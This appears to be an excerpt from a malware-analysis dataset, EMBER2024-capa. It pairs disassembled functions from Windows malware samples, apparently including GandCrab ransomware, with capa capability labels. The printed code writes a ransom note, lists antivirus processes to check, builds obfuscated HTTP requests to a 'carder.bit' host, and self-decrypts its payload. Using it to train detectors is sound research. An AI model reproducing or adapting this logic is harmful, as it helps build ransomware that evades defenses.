joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100077e0
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov edi, eax
push str._sCRAB_DECRYPT.txt
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007841
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x10007873
mov eax, dword [0x10013d10]
test eax, eax
je 0x10007867
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x10013d10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007c40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.10008da0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x10011078
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x10010bb0
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x1001107c
push 0x10011080
call fcn.10008ef0
test eax, eax
je 0x10007cc1
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x10007cc1
push esi
push 0x1001036c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10007cdd
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10007cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x10007d2c
push dword [ebx + 0x88]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx], 0
je 0x10007d4d
push dword [ebx + 4]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x10007d6f
push dword [ebx + 0x10]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x10007d91
push dword [ebx + 0x1c]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x10007db3
push dword [ebx + 0x28]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x10007dd5
push dword [ebx + 0x34]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x10007df7
push dword [ebx + 0x40]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x10007e19
push dword [ebx + 0x4c]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x10007e3b
push dword [ebx + 0x58]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x100110c0
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x10007eac
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x10007e71
push dword [ebx + 0x70]
push ecx
push 0x100110c4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x10007e80
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x100110c0
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x10007ece
push dword [ebx + 0x78]
push esi
call edi
push 0x100110bc
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x100110c0
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x10008060
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x100080ce
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100080b6
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100087c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x10008882
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x1000888d
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000897d
lea ecx, [ecx]
test esi, esi
jne 0x10008957
add edi, 0x24
jmp 0x100088c0
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100088da
inc esi
cmp esi, 0xe
jb 0x100088c0
mov esi, dword [ebp - 4]
jmp 0x10008937
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x100088ff
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x10011490
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x10008910
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x10011490
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x10008957
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x100088b0
cmp dword [ebp - 0xc], 0
je 0x10008975
mov eax, dword [ebx]
cmp word [eax], 0
je 0x10008975
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x100089a7
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10008da0
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x6f004d
push eax
mov dword [ebp - 0x88], 0x69007a
mov dword [ebp - 0x84], 0x6c006c
mov dword [ebp - 0x80], 0x2f0061
mov dword [ebp - 0x7c], 0x2e0035
mov dword [ebp - 0x78], 0x200030
mov dword [ebp - 0x74], 0x570028
mov dword [ebp - 0x70], 0x6e0069
mov dword [ebp - 0x6c], 0x6f0064
mov dword [ebp - 0x68], 0x730077
mov dword [ebp - 0x64], 0x4e0020
mov dword [ebp - 0x60], 0x200054
mov dword [ebp - 0x5c], 0x2e0036
mov dword [ebp - 0x58], 0x3b0031
mov dword [ebp - 0x54], 0x570020
mov dword [ebp - 0x50], 0x57004f
mov dword [ebp - 0x4c], 0x340036
mov dword [ebp - 0x48], 0x20003b
mov dword [ebp - 0x44], 0x720054
mov dword [ebp - 0x40], 0x640069
mov dword [ebp - 0x3c], 0x6e0065
mov dword [ebp - 0x38], 0x2f0074
mov dword [ebp - 0x34], 0x2e0037
mov dword [ebp - 0x30], 0x3b0030
mov dword [ebp - 0x2c], 0x720020
mov dword [ebp - 0x28], 0x3a0076
mov dword [ebp - 0x24], 0x310031
mov dword [ebp - 0x20], 0x30002e
mov dword [ebp - 0x1c], 0x200029
mov dword [ebp - 0x18], 0x69006c
mov dword [ebp - 0x14], 0x65006b
mov dword [ebp - 0x10], 0x470020
mov dword [ebp - 0xc], 0x630065
mov dword [ebp - 8], 0x6f006b
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0x10008eda
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0x8c]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008ef0
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x10008f09
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.10008da0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], esi
test esi, esi
jne 0x10008f41
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x100104e8
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push 0x100116d0
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x10009049
xor eax, eax
mov dword [ebp - 0x30], 0x6f0048
push eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x30]
push 0xffffffffffffffff
push eax
push edi
mov dword [ebp - 0x2c], 0x740073
mov dword [ebp - 0x28], 0x20003a
mov dword [ebp - 0x24], 0x610063
mov dword [ebp - 0x20], 0x640072
mov dword [ebp - 0x1c], 0x720065
mov dword [ebp - 0x18], 0x62002e
mov dword [ebp - 0x14], 0x740069
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x10009049
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x10009043
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10009049
mov eax, dword [ebp + 8]
test eax, eax
je 0x10009049
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 4], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10009017
jmp 0x10009049
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x10009160
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10009279
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x10009190
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10009282
cmp edi, ebx
jae 0x10009282
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10009217
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000925e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000925e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x1000925e
xor ecx, ecx
test edi, edi
je 0x10009257
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x10009241
mov ebx, 1
jmp 0x10009260
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100092b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100093a2
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x100092e0
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100093ab
cmp dword [ebp - 8], ebx
jae 0x100093ab
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10009365
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10009389
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10009389
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405510
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x405531
xor al, al
jmp 0x4055ab
lea ecx, [ebp - 0xc]
push ecx
push 0x42b254
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x405554
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4055ab
mov dword [ebp - 0x1c], 1
mov eax, 0xc
imul ecx, eax, 0
mov edx, dword [ebp - 0xc]
mov dword [ebp + ecx - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp + ecx - 0x14], eax
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 0x10], 2
push 0
push 0
push 0x10
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4055a9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4055ab
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x405ad0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x208
call fcn.0040c90c
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406ff0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00413820
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret
Function at 0x407100
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x407124
xor eax, eax
jmp 0x4071a4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40713b
xor eax, eax
jmp 0x4071a4
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x407187
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x407187
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40715e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x407193
xor eax, eax
jmp 0x4071a4
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x4071a1
xor eax, eax
jmp 0x4071a4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret